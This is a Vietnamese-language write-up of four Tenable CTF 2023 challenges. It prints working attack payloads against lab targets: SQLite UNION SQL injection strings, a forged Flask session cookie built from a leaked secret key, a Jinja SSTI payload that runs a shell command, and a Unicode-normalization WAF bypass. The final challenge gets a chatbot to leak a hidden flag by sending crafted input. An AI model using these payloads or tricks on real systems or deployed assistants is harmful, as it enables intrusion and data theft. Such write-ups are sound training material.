---
# System prepended metadata

title: Tenable CTF 2023 WRITE UP
tags: [CTF, Writeup]

---

# Web
## 1. Cat Viewer
### Đề bài:
![](https://hackmd.io/_uploads/SkvRpEQn3.png)
![](https://hackmd.io/_uploads/HyAGAE7n2.png)
### Phương hướng và Thực hiện:
- Trang web này để search tên mèo dựa theo tham số `cat` được truyền vào URL, kết quả được hiện ra bên dưới
- Đầu tiên em đã thử fuzzing SQL injeection bằng `Shelton' or '1'='1'-- -`
![](https://hackmd.io/_uploads/HkEsCNX23.png)
- Hmm, kết quả không giòn lắm, có thể là vì dùng sai dấu ngoặc, em chuyển sang dùng: `Shelton" or '1'='1'-- -`
![](https://hackmd.io/_uploads/ryC7yr7hn.png)
- Gòi gòi, nó ra rất rất rất nhiều mèo, nên ta có thể khẳng định rằng trang web đã dính lỗi SQL Injection
- Xem nào, trang web xổ ra câu lệnh, và kết quả của câu lệnh, nó làm em nghĩ đến SQLi UNION Attack, nên em bắt đầu bằng `Shelton" union select null-- -`
![](https://hackmd.io/_uploads/B1NakBm23.png)
- Ngon, điều này chứng tỏ UNION không phải 1 cột, và lộ ra trang web sử dụng database SQLite, em đưa vào BurpSuite và khi thử đến cột thứ 4 thì thành công, chứng tỏ UNION có 4 cột:
![](https://hackmd.io/_uploads/BkjXxSQnn.png)
- Tiếp theo ta sẽ xác định xem cột nào của UNION có thể chứa text, khi thử đến cột thứ 3 thì ta thành công:
![](https://hackmd.io/_uploads/S1WPgHmnh.png)
- Tất cả đã có, giờ em đi search payload từ [PayloadAllTheThing](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md) để lấy các câu payload, em sẽ bắt đầu từ lấy các tên bảng: 
![](https://hackmd.io/_uploads/Syqnxr73h.png)
- Áp dụng công thức ta có: `Shelton"+union+select+null,null,group_concat(tbl_name),null+FROM+sqlite_master+WHERE+type='table'+and+tbl_name+NOT+like+'sqlite_%'--+-`
![](https://hackmd.io/_uploads/SJZAlSQ33.png)
- Vậy là ta biết tên bảng là `cats`, tiếp đến ta sẽ đi lấy tên các cột:
![](https://hackmd.io/_uploads/BJsxbSm3h.png)
- Áp dụng công thức ta có =)))) `Shelton"+union+select+null,null,sql,null+FROM+sqlite_master+WHERE+type!='meta'+AND+sql+NOT+NULL+AND+name+=+'cats'--+-`
![](https://hackmd.io/_uploads/B1gM-SQ3n.png)
- Ngonnnn, giờ ta tiến hành lấy cột flag từ database bằng: `Shelton"+union+select+null,null,flag,null+FROM+cats`
![](https://hackmd.io/_uploads/rJIVbrXnh.png)
- Flag: **flag{a_sea_of_cats}**

## 2. Rose
### Đề bài:
![](https://hackmd.io/_uploads/HJ9zfr7hh.png)
![](https://hackmd.io/_uploads/ByK7zSmhn.png)
- Đồng thời ta cũng có source của challenge:
### Phương hướng và Thực hiện:
- Đây là một trang web sử dụnng python và import thư viện flask để xử lý việc đăng nhập, đăng xuất và kiểm soát đăng nhập bằng session(mặc định)
- Một số file đáng chú ý trong đống source: Trong file `main.py` tiết lộ cho ta tính năng sign up đã bị comment và không sử dụng được, và ta cũng biết được cách đăng nhập vào trang web bằng email và mật khẩu, với mật khẩu được hash bằng `sha256`
```python!=
from flask import Blueprint, render_template, render_template_string, redirect, url_for, request, flash, session
from werkzeug.security import generate_password_hash, check_password_hash
from flask_login import login_user, logout_user, login_required, current_user
from .models import User
from . import db

main = Blueprint('main', __name__)

@main.route('/')
def index():
    if("name" in session.keys()):
        return redirect(url_for('main.dashboard'))
    return render_template('index.html')


@main.route('/', methods=['POST'])
def login_post():
    email = request.form.get('email')
    password = request.form.get('password')
    remember = True if request.form.get('remember') else False

    user = User.query.filter_by(email=email).first()

    if not user or not check_password_hash(user.password, password): 
        flash('Please check your login details and try again.')
        return redirect(url_for('main.index'))

    login_user(user, remember=remember)
    session["name"] = current_user.name
    return redirect(url_for('main.dashboard'))

@main.route('/dashboard')
@login_required
def dashboard():
    template = '''
{% extends "base.html" %} {% block content %}
<h1 class="title">
    Welcome, '''+ session["name"] +'''!
</h1>
<p> The dashboard feature is currently under construction! </p>
{% endblock %}
'''
    return render_template_string(template)

#@main.route('/signup')
#def signup():
#    return render_template('signup.html')

#@main.route('/signup', methods=['POST'])
#def signup_post():
#
#    email = request.form.get('email')
#    name = request.form.get('name')
#    password = request.form.get('password')
#
#    user = User.query.filter_by(email=email).first()
#
#    if user: 
#        flash('Email address already exists')
#        return redirect(url_for('main.signup'))
#
#    new_user = User(email=email, name=name, password=generate_password_hash(password, method='sha256'))
#
#    db.session.add(new_user)
#    db.session.commit()
#
#    return redirect(url_for('main.index'))

@main.route('/logout')
@login_required
def logout():
    logout_user()
    session.clear()
    return redirect(url_for('main.index'))
```
- Sau đó là file `__init__.py` đã tiết lộ secretkey để tạo session:
```python!=
from flask import Flask
from flask_sqlalchemy import SQLAlchemy
from flask_login import LoginManager 

# init SQLAlchemy so we can use it later in our models
db = SQLAlchemy()


app = Flask(__name__)

app.config['SECRET_KEY'] = 'SuperDuperSecureSecretKey1234!'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///db.sqlite'

db.init_app(app)

login_manager = LoginManager()
login_manager.login_view = 'main.index'
login_manager.init_app(app)

from .models import User
with app.app_context():
    db.create_all()

@login_manager.user_loader
def load_user(user_id):
    return User.query.get(int(user_id))

from .main import main as main_blueprint
app.register_blueprint(main_blueprint)
```
- Em chú ý thấy khi đăng nhập thành công, index sẽ hiện ra tên theo template nên em nghi ngờ mình cần bypass login rồi SSTI ở `session["name"]`, nhưng giờ làm thế nào để bypass được login đã.
- Như source code em nghĩ việc bypass login sẽ nằm ở việc nhét vào session đúng thì nó sẽ trả về `/dashboard`, nhưng nếu không đăng nhập thì làm sao em có thể lấy được mẫu session để chỉnh, tính năng đăng ký cũng đã bị comment nên cũng không tạo được tài khoản. Nên mình cần phải chạy local để lấy và phân tích cookie
- Giờ em sẽ sửa `main.py`:
![](https://hackmd.io/_uploads/Hy2x5Sm3h.png)
- Sau đó em sẽ chạy local bằng:
![](https://hackmd.io/_uploads/BkKp9Bm32.png)
- Ngon, em đã có thể tạo tài khoản:
![](https://hackmd.io/_uploads/rJ3yhHmnn.png)
![](https://hackmd.io/_uploads/SkB72B7nn.png)
- Lấy session hiện tại:
`.eJwljjEOwjAMAP-SmSGxXTvuZ5ATOyoDDCmdEH8nEtudbrlPuo8Z55H297zilu4PT3sSxEDMJtE1nMMICFFz0SHIJIMGABZ1U111SOVaQKAbsDXzEO5iaqimLllYyXnUwRm0Z6IKUaq0zbUSY7WNcUjZMrA37cppjVxnzP9NWfqyZyxs8zrS9wcIuTI5.ZNXMOw.Z46OrkwfhtZZ3L8jwdvJ0yAvuqI`
- Giờ em sẽ decrypt nó với secretkey `SuperDuperSecureSecretKey1234!` có tỏng `__init__.py`. Sử dụng tool [Flask Session Cookie Decoder/Encoder](https://github.com/noraj/flask-session-cookie-manager) để giải mã session trên và ta có kết quả:
![](https://hackmd.io/_uploads/SyP0arQ22.png)
```
┌──(kali㉿kali)-[~/flask-session-cookie-manager]
└─$ python3 flask_session_cookie_manager3.py decode -c '.eJwljjEOwjAMAP-SmSGxXTvuZ5ATOyoDDCmdEH8nEtudbrlPuo8Z55H297zilu4PT3sSxEDMJtE1nMMICFFz0SHIJIMGABZ1U111SOVaQKAbsDXzEO5iaqimLllYyXnUwRm0Z6IKUaq0zbUSY7WNcUjZMrA37cppjVxnzP9NWfqyZyxs8zrS9wcIuTI5.ZNXMOw.Z46OrkwfhtZZ3L8jwdvJ0yAvuqI' -s 'SuperDuperSecureSecretKey1234!'
{'_fresh': True, '_id': '733e330a7ec9ed6ea424339019f73647f4f22319da996eaf78681272ca26abade76c7a9a39a9d707694d6f8f6029c04482e187b5d984638a563f715026db9c96', '_user_id': '1', 'name': 'bruh'}
```
- Như ta đã thấy, với session như thế này thì ta không thể nào đoán được với cái id như kia, giờ em sẽ tiến hành thay đổi session này ở mục name với payload test SSTI là `{{7*7}}`:
![](https://hackmd.io/_uploads/HyUcyIm23.png)
```
┌──(kali㉿kali)-[~/flask-session-cookie-manager]
└─$ python3 flask_session_cookie_manager3.py encode -s 'SuperDuperSecureSecretKey1234!' -t "{'_fresh': True, '_id': '733e330a7ec9ed6ea424339019f73647f4f22319da996eaf78681272ca26abade76c7a9a39a9d707694d6f8f6029c04482e187b5d984638a563f715026db9c96', '_user_id': '1', 'name': '{{7*7}}'}"  
.eJwljjEOwjAMAP-SETEktmvH_QxyY1swwNDSqerfqcR2p1vuKI9cY3uW-bvucS-Pl5e5CGIgVpMYGs5hBISotWkKMklSAmBTN9WrpnTuDQSGAdtiHsJDTA3V1KUKKzlnT66goxJ1iNZlmVw7MXabGFPaVIF90aFcrpF9i_V_0y792DsuPA65yXmW8wegCDMQ.ZNXPhw.B6Pif7sRpxh0TIWQUoYcVwoRHFA
```
- Dựa vào response có thể khẳng định trang web đã dính SSTI:
![](https://hackmd.io/_uploads/B1GAkL722.png)
- Em sẽ thay thế phần `name` bằng payload `{{namespace.__init__.__globals__.os.popen('cat /home/ctf/flag.txt').read()}}`
![](https://hackmd.io/_uploads/rkq7-LQnn.png)
```
┌──(kali㉿kali)-[~/flask-session-cookie-manager]
└─$ python3 flask_session_cookie_manager3.py encode -s 'SuperDuperSecureSecretKey1234!' -t "{'_fresh': True, '_id': '733e330a7ec9ed6ea424339019f73647f4f22319da996eaf78681272ca26abade76c7a9a39a9d707694d6f8f6029c04482e187b5d984638a563f715026db9c96', '_user_id': '1', 'name': \"{{namespace.__init__.__globals__.os.popen('cat /home/ctf/flag.txt').read()}}\"}"
.eJwlzstqwzAQheFXKdokgWLr5hlNXkaMpVFiSGxjK1AwfveqdPcdzuY_VCyb7E91r9tHvlWcsrordE6c04ySSDIIe-udI22ooAOPxRdrnaHMRO0tGCAYizaxBR45C0JCJnbElFEjkM9QQgFtKWnvgxUTcBwyBQ8u8ACuoBm0hTxSIlAt5LPL9l9j2pz5LY3H8Yd95SRdjNM81RgbHq9l5NfevOzduqwyXy-J61f_XN7Sp1r68uJHV3_q5dZtwvl6O091_gIAoEwe.ZNXRSQ.wIScgMjyKet3IgTjdnVcn5eR9eY
```
- Đưa session vào trang web:
`.eJwlzstqwzAQheFXKdokgWLr5hlNXkaMpVFiSGxjK1AwfveqdPcdzuY_VCyb7E91r9tHvlWcsrordE6c04ySSDIIe-udI22ooAOPxRdrnaHMRO0tGCAYizaxBR45C0JCJnbElFEjkM9QQgFtKWnvgxUTcBwyBQ8u8ACuoBm0hTxSIlAt5LPL9l9j2pz5LY3H8Yd95SRdjNM81RgbHq9l5NfevOzduqwyXy-J61f_XN7Sp1r68uJHV3_q5dZtwvl6O091_gIAoEwe.ZNXRSQ.wIScgMjyKet3IgTjdnVcn5eR9eY` 
- Và em đã có được flag:
![](https://hackmd.io/_uploads/B1Fs-IXh3.png)
- Flag: **flag{wh4ts_1n_a_n4m3_4nd_wh4ts_in_y0ur_fl4sk}**

## 3. Bad Waf No Donut
### Đề bài
![](https://hackmd.io/_uploads/BkSqf87hh.png)
![](https://hackmd.io/_uploads/BkA9ML73h.png)
### Phương hướng và Thực hiện
- Trang web này có 3 options
    + Explore:![](https://hackmd.io/_uploads/SyyPVLXnh.png)
    + Render: ![](https://hackmd.io/_uploads/HJrONLQnn.png)
    + Check connection: ![](https://hackmd.io/_uploads/r1X9NL7hh.png)
- Sau khi tìm tòi thì và không được cái gì em thấy anh của em tìm được đường dẫn `/secrets` nên em đã vào và tìm hiểu:
![](https://hackmd.io/_uploads/S1JbHUQ2h.png)
- Trang web bảo em up lên một tham số POST là `secret_name`, nên em đưa vào Burp để truyền vào:
![](https://hackmd.io/_uploads/SkUOrIQhh.png)
- Em đã thử rấc lâu nhưng trả về vẫn là kết quả lặng im :confounded: ![](https://hackmd.io/_uploads/S1riHIX32.png)
- Nhưng có một cái đã có kết quả khác: (guess ctf bruh)
![](https://hackmd.io/_uploads/B1VQ88Q32.png)
- Cuối cùng em được hint là unicode normalize, em đi tìm và có trang web khá hay và hữu dụng: [HackTricks](https://book.hacktricks.xyz/pentesting-web/unicode-injection/unicode-normalization) và [List encode](https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html)
![](https://hackmd.io/_uploads/SkUuII72h.png)
- Em sẽ encode chữ `f` thành `%e1%b6%a0` và gửi đi xem sao:
![](https://hackmd.io/_uploads/H11oU8X3h.png)
- Flag: **flag{h0w_d0es_this_even_w0rk}**

# MISC
## OneShotGPT
### Đề bài
![](https://hackmd.io/_uploads/SJ3NDUm33.png)
![](https://hackmd.io/_uploads/HJ5UwIm33.png)
### Phương hướng và Thực hiện
- Nếu em truyền vào trang web tham số message thì con bot sẽ trả lời các câu hỏi mà em đưa vào tham số này:
![](https://hackmd.io/_uploads/S1SaP8Xnh.png)
- Sau đó em thử là `|id` thì ra kết quả khá hay ho:
![](https://hackmd.io/_uploads/rybQOLQ3n.png)
- Em nghĩ con bot đang hiểu là em muốn xem giá trị của cột id, nên em nghĩ đến việc thêm cột flag nữa: `|id|flag`
![](https://hackmd.io/_uploads/rk-__U723.png)
- Ngon, em đã có flag: **flag{not_s0_intellig3nt}**